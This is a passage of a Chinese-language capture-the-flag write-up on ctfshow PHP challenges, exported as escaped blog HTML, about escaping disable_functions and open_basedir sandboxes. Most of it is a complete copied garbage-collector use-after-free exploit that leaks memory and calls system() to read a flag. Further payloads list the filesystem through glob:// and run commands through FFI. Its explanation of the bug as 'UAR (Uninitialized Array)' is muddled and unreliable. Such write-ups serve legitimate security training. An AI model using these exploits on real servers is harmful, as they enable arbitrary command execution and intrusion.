c=$a=new DirectoryIterator(\"glob:\/\/\/*\");\n\/\/\u521b\u5efa\u4e86\u4e00\u4e2a\u65b0\u7684 `DirectoryIterator` \u5b9e\u4f8b\uff0c\u5e76\u5c06\u5b83\u8d4b\u503c\u7ed9 `$a` \u548c `$c` \u4e24\u4e2a\u53d8\u91cf\u3002\n\/\/`DirectoryIterator` \u662f PHP \u4e2d\u7684\u4e00\u4e2a\u7c7b\uff0c\u7528\u4e8e\u904d\u5386\u6307\u5b9a\u76ee\u5f55\u4e2d\u7684\u6587\u4ef6\u3002\n\/\/glob:\/\/\/*\u662f\u4e00\u4e2a\u7279\u6b8a\u7684\u8def\u5f84\u6a21\u5f0f\uff0c\u5b83\u4f7f\u7528\u4e86 `glob` \u8bed\u6cd5\u6765\u6307\u5b9a\u8981\u67e5\u627e\u7684\u6587\u4ef6\u3002\u5177\u4f53\u6765\u8bf4\uff0c`glob:\/\/\/*` \u8868\u793a\u4ece\u6839\u76ee\u5f55\u5f00\u59cb\u5339\u914d\u6240\u6709\u7684\u6587\u4ef6\u548c\u6587\u4ef6\u5939\u3002\nforeach($a as $f)\n{\n   echo($f->__toString().' ');\/\/`$f->__toString()` \u8c03\u7528 `DirectoryIterator` \u7c7b\u7684 `__toString()` \u65b9\u6cd5\uff0c\u8be5\u65b9\u6cd5\u4f1a\u8fd4\u56de\u5f53\u524d\u6587\u4ef6\u6216\u76ee\u5f55\u7684\u8def\u5f84\uff08\u4f5c\u4e3a\u5b57\u7b26\u4e32\uff09\u3002\n}\nexit(0);<\/code><\/pre>\n\n\n\n
\u73b0\u5728\u53ea\u662f\u786e\u5b9a\u4e86flag\u6587\u4ef6\u5b58\u5728\u7684\u4f4d\u7f6e\uff0c\u8fd8\u9700\u8981\u8bfb\u53d6\u6587\u4ef6\uff0c\u4f46\u662f\u8bfb\u53d6\u6587\u4ef6\u7684\u65f6\u5019\u53c8\u53d7\u5230\u4e86open_basedir()\u9650\u5236\uff0c\u8fd9\u91cc\u9700\u8981\u5229\u7528UAF\u811a\u672c\u8fdb\u884c\u7ed5\u8fc7<\/p>\n\n\n\n
PHP\u7684UAR\u6f0f\u6d1e<\/h4>\n\n\n\n
PHP UAF\u6f0f\u6d1e\u77e5\u8bc6\u70b9\u8865\u5145<\/strong>
uaf\u6f0f\u6d1e\u6b64\u6f0f\u6d1e\u5229\u7528PHP\u5783\u573e\u6536\u96c6\u5668\u4e2d\u5b58\u5728\u4e09\u5e74\u7684\u4e00\u4e2a bug<\/a>\uff0c\u901a\u8fc7PHP\u5783\u573e\u6536\u96c6\u5668\u4e2d\u5806\u6ea2\u51fa\u6765\u7ed5\u8fc7disable_functions<\/code>\u5e76\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002<\/strong><\/p>\n\n\n\n
PHP UAR\uff08Uninitialized Array\uff09\u5783\u573e\u56de\u6536\u6f0f\u6d1e<\/strong> \u662f\u4e00\u79cd\u4e0e PHP \u5185\u5b58\u7ba1\u7406\u76f8\u5173\u7684\u5b89\u5168\u6f0f\u6d1e\uff0c\u6d89\u53ca\u5230 PHP \u7684\u5783\u573e\u56de\u6536\u673a\u5236\uff08GC\uff09\u4ee5\u53ca\u6570\u7ec4\u7684\u672a\u521d\u59cb\u5316\u72b6\u6001\u3002\u8be5\u6f0f\u6d1e\u6700\u65e9\u51fa\u73b0\u5728 PHP 7 \u7248\u672c\u4e2d\uff0c\u5e76\u901a\u8fc7\u7279\u5b9a\u7684\u65b9\u5f0f\uff0c\u5229\u7528 PHP \u5783\u573e\u56de\u6536\u673a\u5236\u4e2d\u7684\u6f0f\u6d1e\u5b9e\u73b0\u653b\u51fb\u3002\u4e0b\u9762\u662f\u7b80\u8981\u7684\u6982\u8ff0\uff1a<\/p>\n\n\n\n
    \n
  1. \u95ee\u9898\u80cc\u666f\uff1a<\/strong><\/li>\n<\/ol>\n\n\n\n
    \u5728 PHP \u4e2d\uff0c\u5783\u573e\u56de\u6536\u673a\u5236\u8d1f\u8d23\u7ba1\u7406\u5185\u5b58\u7684\u5206\u914d\u548c\u91ca\u653e\uff0c\u786e\u4fdd\u4e0d\u4f1a\u51fa\u73b0\u5185\u5b58\u6cc4\u6f0f\u3002\u5f53\u4e00\u4e2a\u53d8\u91cf\u4e0d\u518d\u88ab\u5f15\u7528\u65f6\uff0c\u5783\u573e\u56de\u6536\u673a\u5236\u4f1a\u5c06\u5176\u9500\u6bc1\u5e76\u56de\u6536\u5185\u5b58\u3002\u5728 PHP \u4e2d\uff0c\u6570\u7ec4\u662f\u975e\u5e38\u5e38\u89c1\u7684\u6570\u636e\u7ed3\u6784\uff0c\u4e14\u5783\u573e\u56de\u6536\u673a\u5236\u4f1a\u8ffd\u8e2a\u548c\u6e05\u7406\u672a\u4f7f\u7528\u7684\u6570\u7ec4\u3002<\/p>\n\n\n\n
    UAR<\/strong>\uff08Uninitialized Array\uff09\u95ee\u9898\uff0c\u7b80\u5355\u6765\u8bf4\uff0c\u662f PHP \u5728\u5904\u7406\u67d0\u4e9b\u6570\u7ec4\u64cd\u4f5c\u65f6\uff0c\u9519\u8bef\u5730\u8ba4\u4e3a\u4e00\u4e2a\u6570\u7ec4\u5bf9\u8c61\u88ab\u521d\u59cb\u5316\u6216\u5df2\u7ecf\u4e0d\u518d\u4f7f\u7528\uff0c\u4ece\u800c\u5728\u5783\u573e\u56de\u6536\u65f6\u8fc7\u65e9\u5730\u91ca\u653e\u6389\u8fd9\u4e2a\u6570\u7ec4\u5185\u5b58\uff0c\u5bfc\u81f4\u6570\u636e\u635f\u574f\u6216\u8005\u5185\u5b58\u6cc4\u6f0f\u7b49\u95ee\u9898\u3002<\/p>\n\n\n\n
      \n
    1. \u6f0f\u6d1e\u89e6\u53d1\u6761\u4ef6\uff1a<\/strong><\/li>\n<\/ol>\n\n\n\n
      UAR \u6f0f\u6d1e\u901a\u5e38\u5728\u4ee5\u4e0b\u60c5\u51b5\u4e0b\u51fa\u73b0\uff1a<\/p>\n\n\n\n
        \n
      • \u6570\u7ec4\u7684\u5143\u7d20\u88ab\u5220\u9664\u6216\u91cd\u7f6e\u65f6\u3002<\/li>\n\n\n\n
      • PHP \u5f15\u64ce\u9519\u8bef\u5730\u5904\u7406\u4e86\u6570\u7ec4\u5f15\u7528\u548c\u5783\u573e\u56de\u6536\u4e4b\u95f4\u7684\u5173\u7cfb\u3002<\/li>\n\n\n\n
      • \u4ee3\u7801\u4e2d\u5b58\u5728\u6570\u7ec4\u672a\u5b8c\u5168\u521d\u59cb\u5316\u7684\u60c5\u51b5\uff0c\u6216\u8005\u5b58\u5728\u5bf9\u672a\u521d\u59cb\u5316\u7684\u6570\u7ec4\u5143\u7d20\u8fdb\u884c\u64cd\u4f5c\u7684\u884c\u4e3a\u3002<\/li>\n<\/ul>\n\n\n\n
          \n
        1. \u6f0f\u6d1e\u539f\u7406\uff1a<\/strong><\/li>\n<\/ol>\n\n\n\n
          \u5f53 PHP \u5f15\u64ce\u6267\u884c\u5783\u573e\u56de\u6536\u65f6\uff0c\u5b83\u9700\u8981\u6807\u8bb0\u548c\u6e05\u7406\u4e0d\u518d\u4f7f\u7528\u7684\u5185\u5b58\u3002\u5982\u679c\u6570\u7ec4\u88ab\u8ba4\u4e3a\u662f\u201c\u672a\u521d\u59cb\u5316\u201d\u7684\uff08\u5373\uff0c\u6570\u7ec4\u4e2d\u6ca1\u6709\u5b9e\u9645\u6570\u636e\uff0c\u6216\u8005\u6570\u7ec4\u6ca1\u6709\u6301\u4e45\u5316\u7684\u6570\u636e\u5f15\u7528\uff09\uff0cPHP \u53ef\u80fd\u4f1a\u9519\u8bef\u5730\u56de\u6536\u8fd9\u4e9b\u6570\u7ec4\uff0c\u800c\u4e0d\u662f\u5c06\u5b83\u4eec\u4fdd\u6301\u5728\u5185\u5b58\u4e2d\uff0c\u6216\u8005\u6e05\u9664\u5b83\u4eec\u7684\u90e8\u5206\u5143\u7d20\u3002<\/p>\n\n\n\n
          \u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u7279\u5b9a\u7684\u4ee3\u7801\uff0c\u4f7f\u5f97\u8fd9\u4e9b\u672a\u521d\u59cb\u5316\u7684\u6570\u7ec4\u89e6\u53d1\u5783\u573e\u56de\u6536\u673a\u5236\uff0c\u4ece\u800c\u5bfc\u81f4\uff1a<\/p>\n\n\n\n
            \n
          • \u5185\u5b58\u6cc4\u6f0f<\/strong>\uff1a\u654f\u611f\u6570\u636e\u88ab\u9519\u8bef\u6e05\u9664\u6216\u8986\u76d6\uff0c\u5bfc\u81f4\u6570\u636e\u4e22\u5931\u3002<\/li>\n\n\n\n
          • \u6570\u636e\u7be1\u6539<\/strong>\uff1a\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u8fd9\u79cd\u95ee\u9898\u7be1\u6539\u6570\u7ec4\u7684\u72b6\u6001\uff0c\u4ece\u800c\u5f71\u54cd\u5e94\u7528\u7684\u6b63\u5e38\u884c\u4e3a\u3002<\/li>\n\n\n\n
          • \u4fe1\u606f\u6cc4\u9732<\/strong>\uff1a\u901a\u8fc7\u7279\u5b9a\u64cd\u4f5c\uff0c\u53ef\u80fd\u5bfc\u81f4\u6cc4\u9732\u4e00\u4e9b\u672c\u4e0d\u8be5\u6cc4\u9732\u7684\u5185\u5b58\u5185\u5bb9\u3002<\/li>\n<\/ul>\n\n\n\n
              \n
            1. \u6f0f\u6d1e\u5229\u7528\uff1a<\/strong><\/li>\n<\/ol>\n\n\n\n
              \u653b\u51fb\u8005\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u901a\u5e38\u9700\u8981\uff1a<\/p>\n\n\n\n
                \n
              • \u901a\u8fc7\u67d0\u4e9b\u7279\u5b9a\u7684\u8f93\u5165\u89e6\u53d1\u6570\u7ec4\u7684\u201c\u672a\u521d\u59cb\u5316\u201d\u72b6\u6001\u3002<\/li>\n\n\n\n
              • \u5229\u7528\u5783\u573e\u56de\u6536\u7684\u4e0d\u5f53\u884c\u4e3a\uff0c\u6267\u884c\u7279\u5b9a\u7684\u5185\u5b58\u64cd\u4f5c\u6216\u6570\u636e\u7be1\u6539\u3002<\/li>\n<\/ul>\n\n\n\n
                \u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u7cbe\u5fc3\u6784\u9020\u7684\u8f93\u5165\u6765\u89e6\u53d1\u5783\u573e\u56de\u6536\u8fc7\u7a0b\uff0c\u4f7f\u5f97\u5185\u5b58\u91ca\u653e\u4e0d\u5f53\uff0c\u4ece\u800c\u63a7\u5236\u6216\u8005\u6cc4\u6f0f\u654f\u611f\u4fe1\u606f\u3002<\/p>\n\n\n\n
                  \n
                1. \u9632\u8303\u63aa\u65bd\uff1a<\/strong><\/li>\n<\/ol>\n\n\n\n
                  \u4e3a\u4e86\u907f\u514d UAR \u5783\u573e\u56de\u6536\u6f0f\u6d1e\u7684\u51fa\u73b0\uff0c\u5f00\u53d1\u8005\u53ef\u4ee5\u91c7\u53d6\u4ee5\u4e0b\u63aa\u65bd\uff1a<\/p>\n\n\n\n
                    \n
                  • \u786e\u4fdd\u6570\u7ec4\u521d\u59cb\u5316<\/strong>\uff1a\u5728\u4f7f\u7528\u6570\u7ec4\u4e4b\u524d\uff0c\u786e\u4fdd\u5b83\u4eec\u5df2\u7ecf\u6b63\u786e\u521d\u59cb\u5316\u5e76\u5305\u542b\u671f\u671b\u7684\u503c\u3002<\/li>\n\n\n\n
                  • \u907f\u514d\u76f4\u63a5\u5220\u9664\u6570\u7ec4\u5143\u7d20<\/strong>\uff1a\u907f\u514d\u76f4\u63a5\u5220\u9664\u6570\u7ec4\u5143\u7d20\u6216\u5bf9\u5176\u8fdb\u884c\u672a\u521d\u59cb\u5316\u7684\u64cd\u4f5c\u3002\u5e94\u5f53\u59cb\u7ec8\u786e\u4fdd\u6570\u7ec4\u7684\u5f15\u7528\u548c\u6570\u636e\u5b8c\u6574\u6027\u3002<\/li>\n\n\n\n
                  • \u5347\u7ea7 PHP \u7248\u672c<\/strong>\uff1a\u8be5\u6f0f\u6d1e\u901a\u5e38\u5b58\u5728\u4e8e\u8f83\u65e9\u7684 PHP \u7248\u672c\u4e2d\uff08\u5982 PHP 7.x\uff09\uff0c\u56e0\u6b64\uff0c\u5347\u7ea7\u5230\u6700\u65b0\u7248\u672c\u7684 PHP \u4f1a\u6709\u52a9\u4e8e\u4fee\u590d\u8be5\u95ee\u9898\u3002PHP \u7684\u5f00\u53d1\u56e2\u961f\u5df2\u7ecf\u53d1\u5e03\u4e86\u591a\u4e2a\u7248\u672c\u4fee\u590d\u4e86\u8be5\u6f0f\u6d1e\u3002<\/li>\n\n\n\n
                  • \u5783\u573e\u56de\u6536\u76f8\u5173\u7684\u5185\u5b58\u7ba1\u7406\u589e\u5f3a<\/strong>\uff1a\u5bf9\u4e8e\u5f00\u53d1\u8005\u6765\u8bf4\uff0c\u4e86\u89e3\u5783\u573e\u56de\u6536\u673a\u5236\u7684\u5de5\u4f5c\u539f\u7406\uff0c\u5e76\u5bf9\u6570\u7ec4\u548c\u5bf9\u8c61\u7684\u751f\u547d\u5468\u671f\u8fdb\u884c\u66f4\u7cbe\u7ec6\u7684\u7ba1\u7406\uff0c\u53ef\u4ee5\u51cf\u5c11\u8fd9\u7c7b\u6f0f\u6d1e\u7684\u53d1\u751f\u3002<\/li>\n<\/ul>\n\n\n\n
                    UAR\u811a\u672c\uff08\u5927\u4f6c\u811a\u672c\u7684\u642c\u8fd0\uff09<\/strong><\/p>\n\n\n\n
                    c=function ctfshow($cmd) { global $abc, $helper, $backtrace;\n\nclass Vuln {\n    public $a;\n    public function __destruct() { \n        global $backtrace; \n        unset($this->a);\n        $backtrace = (new Exception)->getTrace();\n        if(!isset($backtrace[1]['args'])) {\n            $backtrace = debug_backtrace();\n        }\n    }\n}\n\nclass Helper {\n    public $a, $b, $c, $d;\n}\n\nfunction str2ptr(&$str, $p = 0, $s = 8) {\n    $address = 0;\n    for($j = $s-1; $j >= 0; $j--) {\n        $address <<= 8;\n        $address |= ord($str[$p+$j]);\n    }\n    return $address;\n}\n\nfunction ptr2str($ptr, $m = 8) {\n    $out = \"\";\n    for ($i=0; $i < $m; $i++) {\n        $out .= sprintf(\"%c\",($ptr & 0xff));\n        $ptr >>= 8;\n    }\n    return $out;\n}\n\nfunction write(&$str, $p, $v, $n = 8) {\n    $i = 0;\n    for($i = 0; $i < $n; $i++) {\n        $str[$p + $i] = sprintf(\"%c\",($v & 0xff));\n        $v >>= 8;\n    }\n}\n\nfunction leak($addr, $p = 0, $s = 8) {\n    global $abc, $helper;\n    write($abc, 0x68, $addr + $p - 0x10);\n    $leak = strlen($helper->a);\n    if($s != 8) { $leak %= 2 << ($s * 8) - 1; }\n    return $leak;\n}\n\nfunction parse_elf($base) {\n    $e_type = leak($base, 0x10, 2);\n\n    $e_phoff = leak($base, 0x20);\n    $e_phentsize = leak($base, 0x36, 2);\n    $e_phnum = leak($base, 0x38, 2);\n\n    for($i = 0; $i < $e_phnum; $i++) {\n        $header = $base + $e_phoff + $i * $e_phentsize;\n        $p_type  = leak($header, 0, 4);\n        $p_flags = leak($header, 4, 4);\n        $p_vaddr = leak($header, 0x10);\n        $p_memsz = leak($header, 0x28);\n\n        if($p_type == 1 && $p_flags == 6) { \n\n            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;\n            $data_size = $p_memsz;\n        } else if($p_type == 1 && $p_flags == 5) { \n            $text_size = $p_memsz;\n        }\n    }\n\n    if(!$data_addr || !$text_size || !$data_size)\n        return false;\n\n    return [$data_addr, $text_size, $data_size];\n}\n\nfunction get_basic_funcs($base, $elf) {\n    list($data_addr, $text_size, $data_size) = $elf;\n    for($i = 0; $i < $data_size \/ 8; $i++) {\n        $leak = leak($data_addr, $i * 8);\n        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {\n            $deref = leak($leak);\n            \n            if($deref != 0x746e6174736e6f63)\n                continue;\n        } else continue;\n\n        $leak = leak($data_addr, ($i + 4) * 8);\n        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {\n            $deref = leak($leak);\n            \n            if($deref != 0x786568326e6962)\n                continue;\n        } else continue;\n\n        return $data_addr + $i * 8;\n    }\n}\n\nfunction get_binary_base($binary_leak) {\n    $base = 0;\n    $start = $binary_leak & 0xfffffffffffff000;\n    for($i = 0; $i < 0x1000; $i++) {\n        $addr = $start - 0x1000 * $i;\n        $leak = leak($addr, 0, 7);\n        if($leak == 0x10102464c457f) {\n            return $addr;\n        }\n    }\n}\n\nfunction get_system($basic_funcs) {\n    $addr = $basic_funcs;\n    do {\n        $f_entry = leak($addr);\n        $f_name = leak($f_entry, 0, 6);\n\n        if($f_name == 0x6d6574737973) {\n            return leak($addr + 8);\n        }\n        $addr += 0x20;\n    } while($f_entry != 0);\n    return false;\n}\n\nfunction trigger_uaf($arg) {\n\n    $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');\n    $vuln = new Vuln();\n    $vuln->a = $arg;\n}\n\nif(stristr(PHP_OS, 'WIN')) {\n    die('This PoC is for *nix systems only.');\n}\n\n$n_alloc = 10; \n$contiguous = [];\nfor($i = 0; $i < $n_alloc; $i++)\n    $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');\n\ntrigger_uaf('x');\n$abc = $backtrace[1]['args'][0];\n\n$helper = new Helper;\n$helper->b = function ($x) { };\n\nif(strlen($abc) == 79 || strlen($abc) == 0) {\n    die(\"UAF failed\");\n}\n\n$closure_handlers = str2ptr($abc, 0);\n$php_heap = str2ptr($abc, 0x58);\n$abc_addr = $php_heap - 0xc8;\n\nwrite($abc, 0x60, 2);\nwrite($abc, 0x70, 6);\n\nwrite($abc, 0x10, $abc_addr + 0x60);\nwrite($abc, 0x18, 0xa);\n\n$closure_obj = str2ptr($abc, 0x20);\n\n$binary_leak = leak($closure_handlers, 8);\nif(!($base = get_binary_base($binary_leak))) {\n    die(\"Couldn't determine binary base address\");\n}\n\nif(!($elf = parse_elf($base))) {\n    die(\"Couldn't parse ELF header\");\n}\n\nif(!($basic_funcs = get_basic_funcs($base, $elf))) {\n    die(\"Couldn't get basic_functions address\");\n}\n\nif(!($zif_system = get_system($basic_funcs))) {\n    die(\"Couldn't get zif_system address\");\n}\n\n\n$fake_obj_offset = 0xd0;\nfor($i = 0; $i < 0x110; $i += 8) {\n    write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));\n}\n\nwrite($abc, 0x20, $abc_addr + $fake_obj_offset);\nwrite($abc, 0xd0 + 0x38, 1, 4); \nwrite($abc, 0xd0 + 0x68, $zif_system); \n\n($helper->b)($cmd);\nexit();\n}\n\nctfshow(\"cat \/flag0.txt\");ob_end_flush(); ?><\/code><\/pre>\n\n\n\n
                    \u53d8\u5f0f\u9898plus\uff0c\u53c2\u8003ctfshow web\u5165\u95e875<\/strong><\/p>\n\n\n\n
                    \nWarning: error_reporting() has been disabled for security reasons in \/var\/www\/html\/index.php on line 14\n\nWarning: ini_set() has been disabled for security reasons in \/var\/www\/html\/index.php on line 15\n\nWarning: highlight_file() has been disabled for security reasons in \/var\/www\/html\/index.php on line 24\n\u4f60\u8981\u4e0a\u5929\u5417\uff1f<\/code><\/pre>\n\n\n\n
                    \u5c1d\u8bd5\u5229\u7528scandir\u8fdb\u884c\u76ee\u5f55\u626b\u63cf\u7684\u65f6\u5019\u53d1\u73b0\u88ab\u7981\u7528\u4e86\uff0c\u53ea\u80fd\u62ffglob\u4f2a\u534f\u8bae\u8fdb\u884c\u76ee\u5f55\u626b\u63cf<\/p>\n\n\n\n
                    c=$a=new DirectoryIterator(\"glob:\/\/\/*\");\nforeach($a as $f)\n{\n\techo($f->__toString().' ')\n}\nexit(0);\t<\/code><\/pre>\n\n\n\n
                    \u626bflag\u6587\u4ef6\u51fa\u6765\uff0c\u5c1d\u8bd5\u518d\u7528UAR\u811a\u672c\u8fdb\u884c\u8bfb\u53d6\u53d1\u73b0\u5b58\u5728strlen()\u8fc7\u6ee4<\/strong><\/p>\n\n\n\n
                    PHP\u7684PDO\u8fde\u63a5MySQL\u6570\u636e\u5e93<\/h4>\n\n\n\n
                    PHP\u7684PDO\u8fde\u63a5\u6570\u636e\u5e93\u77e5\u8bc6\u70b9\u8865\u5145
                    PHP\u7684PDO\u8fde\u63a5\u6570\u636e\u5e93\u540e\u53ef\u4ee5\u8fdb\u884c\u6587\u4ef6\u7684\u8bfb\u53d6
                    $dbh \u662f\u6570\u636e\u5e93\u8fde\u63a5\u53e5\u67c4\uff08database handle\uff09\uff0c\u5b83\u662f\u901a\u8fc7 new PDO \u521b\u5efa\u7684\uff0c\u7528\u4e8e\u4e0e\u6570\u636e\u5e93\u8fdb\u884c\u4ea4\u4e92\u3002
                    PDO\uff08PHP Data Objects\uff09\u662fPHP\u4e2d\u7684\u4e00\u4e2a\u6269\u5c55\uff0c\u5b83\u63d0\u4f9b\u4e86\u4e00\u4e2a\u7edf\u4e00\u7684\u63a5\u53e3\u6765\u8bbf\u95ee\u4e0d\u540c\u7684\u6570\u636e\u5e93\u3002\u5b83\u652f\u6301\u9884\u5904\u7406\u8bed\u53e5\u548c\u4e8b\u52a1\uff0c\u4f7f\u6570\u636e\u5e93\u64cd\u4f5c\u66f4\u5b89\u5168\u548c\u9ad8\u6548\u3002
                    DSN\uff08\u6570\u636e\u6e90\u540d\u79f0\uff0cData Source Name\uff09\u662f\u4e00\u4e2a\u5305\u542b\u6570\u636e\u5e93\u8fde\u63a5\u4fe1\u606f\u7684\u5b57\u7b26\u4e32\u3002\u5b83\u901a\u5e38\u5305\u62ec\u6570\u636e\u5e93\u7c7b\u578b\u3001\u4e3b\u673a\u540d\u3001\u6570\u636e\u5e93\u540d\u79f0\u7b49\u4fe1\u606f\u3002\u5728\u521b\u5efaPDO\u5bf9\u8c61\u65f6\u6307\u5b9a\uff0c\u5373 ‘mysql:host=localhost;dbname=information_schema’\u3002\u8fd9\u4e2a\u5b57\u7b26\u4e32\u5305\u542b\u4e86\u6570\u636e\u5e93\u7c7b\u578b\uff08mysql\uff09\u3001\u4e3b\u673a\u540d\uff08localhost\uff09\u548c\u6570\u636e\u5e93\u540d\u79f0\uff08information_schema\uff09\u3002
                    foreach \u662fPHP\u4e2d\u7684\u4e00\u4e2a\u63a7\u5236\u7ed3\u6784\uff0c\u7528\u4e8e\u904d\u5386\u6570\u7ec4\u6216\u5bf9\u8c61\u3002\u5728\u4e0a\u9762payload\u4e2d\uff0cforeach \u7528\u4e8e\u904d\u5386SQL\u67e5\u8be2\u7684\u7ed3\u679c\u96c6\uff08\u7531 $dbh->query \u8fd4\u56de\uff09\uff0c\u5e76\u5904\u7406\u6bcf\u4e00\u884c\u7684\u6570\u636e\u3002<\/strong><\/p>\n\n\n\n
                    \u53c2\u8003\u5927\u4f6c\u5199\u7684PDO\u8fde\u63a5\u811a\u672c<\/strong><\/p>\n\n\n\n
                    <?php\n$dbms='mysql';     \/\/\u6570\u636e\u5e93\u7c7b\u578b\n$host='localhost'; \/\/\u6570\u636e\u5e93\u4e3b\u673a\u540d\n$dbName='test';    \/\/\u4f7f\u7528\u7684\u6570\u636e\u5e93\n$user='root';      \/\/\u6570\u636e\u5e93\u8fde\u63a5\u7528\u6237\u540d\n$pass='';          \/\/\u5bf9\u5e94\u7684\u5bc6\u7801\n$dsn=\"$dbms:host=$host;dbname=$dbName\";\n\n\ntry {\n    $dbh = new PDO($dsn, $user, $pass); \/\/\u521d\u59cb\u5316\u4e00\u4e2aPDO\u5bf9\u8c61\n    echo \"\u8fde\u63a5\u6210\u529f<br\/>\";\n    \/*\u4f60\u8fd8\u53ef\u4ee5\u8fdb\u884c\u4e00\u6b21\u641c\u7d22\u64cd\u4f5c\n    foreach ($dbh->query('SELECT * from FOO') as $row) {\n        print_r($row); \/\/\u4f60\u53ef\u4ee5\u7528 echo($GLOBAL); \u6765\u770b\u5230\u8fd9\u4e9b\u503c\n    }\n    *\/\n    $dbh = null;\n} catch (PDOException $e) {\n    die (\"Error!: \" . $e->getMessage() . \"<br\/>\");\n}\n\/\/\u9ed8\u8ba4\u8fd9\u4e2a\u4e0d\u662f\u957f\u8fde\u63a5\uff0c\u5982\u679c\u9700\u8981\u6570\u636e\u5e93\u957f\u8fde\u63a5\uff0c\u9700\u8981\u6700\u540e\u52a0\u4e00\u4e2a\u53c2\u6570\uff1aarray(PDO::ATTR_PERSISTENT => true) \u53d8\u6210\u8fd9\u6837\uff1a\n$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));\n\n?><\/code><\/pre>\n\n\n\n
                    \u53d8\u5f0f\u9898plus+,\u53c2\u8003\u9898\u76eectfshow web\u5165\u95e877<\/strong><\/p>\n\n\n\n
                    Warning: error_reporting() has been disabled for security reasons in \/var\/www\/html\/index.php on line 14\n\nWarning: ini_set() has been disabled for security reasons in \/var\/www\/html\/index.php on line 15\n\nWarning: highlight_file() has been disabled for security reasons in \/var\/www\/html\/index.php on line 24\n\u4f60\u8981\u4e0a\u5929\u5417\uff1f<\/code><\/pre>\n\n\n\n
                    \u770b\u4f3c\u4e00\u6837\u91cd\u590d\u4e0a\u8ff0\u51e0\u4e2a\u9898\u7684\u64cd\u4f5c\uff0c\u53d1\u73b0\u90fd\u4e0d\u6210\u529f<\/p>\n\n\n\n
                    PHP7.4+\u7684FFI\u7279\u6027<\/h4>\n\n\n\n
                    php7.4+ FFI\u7279\u6027\u77e5\u8bc6\u70b9\u8865\u5145<\/strong>
                    php7.4+\u7684FFI\u7279\u6027\uff0c\u52a0\u8f7dC\u8bed\u8a00\u8c03\u7528C\u8bed\u8a00\u7684\u51fd\u6570\u6267\u884c\u547d\u4ee4<\/strong>
                    PHP 7.4 \u5f15\u5165\u4e86 FFI\uff08Foreign Function Interface\uff09 \u7279\u6027\uff0c\u5b83\u5141\u8bb8 PHP \u4e0e\u5916\u90e8 C \u5e93\u8fdb\u884c\u76f4\u63a5\u4ea4\u4e92\u3002\u901a\u8fc7 FFI\uff0cPHP \u811a\u672c\u53ef\u4ee5\u52a0\u8f7d C \u8bed\u8a00\u7f16\u5199\u7684\u5171\u4eab\u5e93\uff08\u5982 .so<\/code> \u6216 .dll<\/code> \u6587\u4ef6\uff09\uff0c\u5e76\u8c03\u7528\u8fd9\u4e9b C \u51fd\u6570\u3002\u8fd9\u4f7f\u5f97 PHP \u80fd\u591f\u9ad8\u6548\u5730\u8c03\u7528\u4f4e\u7ea7\u8bed\u8a00\u7f16\u5199\u7684\u51fd\u6570\uff0c\u8fdb\u800c\u6269\u5c55 PHP \u7684\u529f\u80fd\uff0c\u63d0\u5347\u6027\u80fd\uff0c\u751a\u81f3\u76f4\u63a5\u64cd\u4f5c\u7cfb\u7edf\u8d44\u6e90\u3002<\/strong><\/p>\n\n\n\n
                    \u53c2\u8003\u5927\u4f6c\u7684\u811a\u672c<\/strong><\/p>\n\n\n\n
                    c=$ffi = FFI::cdef(\"int system(const char *command);\");\/\/\u521b\u5efa\u4e00\u4e2asystem\u5bf9\u8c61\n$a='\/readflag > 1.txt';\/\/\u6ca1\u6709\u56de\u663e\u7684\n$ffi->system($a);\/\/\u901a\u8fc7$ffi\u53bb\u8c03\u7528system\u51fd\u6570<\/code><\/pre>\n\n\n\n
                    \u8fd9\u884c\u4ee3\u7801\u4f7f\u7528\u4e86 PHP \u7684 FFI \u7279\u6027\uff0c\u8c03\u7528\u4e86 FFI::cdef()<\/code> \u65b9\u6cd5\u6765\u5b9a\u4e49\u5e76\u52a0\u8f7d C \u51fd\u6570\u539f\u578b\u3002<\/strong><\/p>\n\n\n\n
                    \"int system(const char *command);\"<\/code> \u662f C \u8bed\u8a00\u4e2d\u7684\u51fd\u6570\u539f\u578b\uff0c\u5b83\u544a\u8bc9 PHP\uff1a<\/strong><\/p>\n\n\n\n
                      \n
                    • system<\/code> \u51fd\u6570\u7684\u8fd4\u56de\u7c7b\u578b\u662f int<\/code>\uff0c\u5373\u6267\u884c\u547d\u4ee4\u540e\u7684\u8fd4\u56de\u503c\u3002<\/strong><\/li>\n\n\n\n
                    • system<\/code> \u51fd\u6570\u7684\u53c2\u6570\u662f\u4e00\u4e2a const char *command<\/code>\uff0c\u5373\u4e00\u4e2a\u6307\u5411\u5b57\u7b26\u5e38\u91cf\u7684\u6307\u9488\uff0c\u8868\u793a\u8981\u6267\u884c\u7684\u7cfb\u7edf\u547d\u4ee4\u3002<\/strong><\/li>\n<\/ul>\n\n\n\n
                      \u901a\u8fc7\u8fd9\u4e2a FFI::cdef()<\/code> \u8c03\u7528\uff0cPHP \u52a0\u8f7d\u4e86 C \u6807\u51c6\u5e93\u4e2d\u7684 system()<\/code> \u51fd\u6570\uff0c\u4f7f\u5f97 PHP \u53ef\u4ee5\u76f4\u63a5\u8c03\u7528\u8be5\u51fd\u6570\u5e76\u5728\u5176\u4e0a\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"
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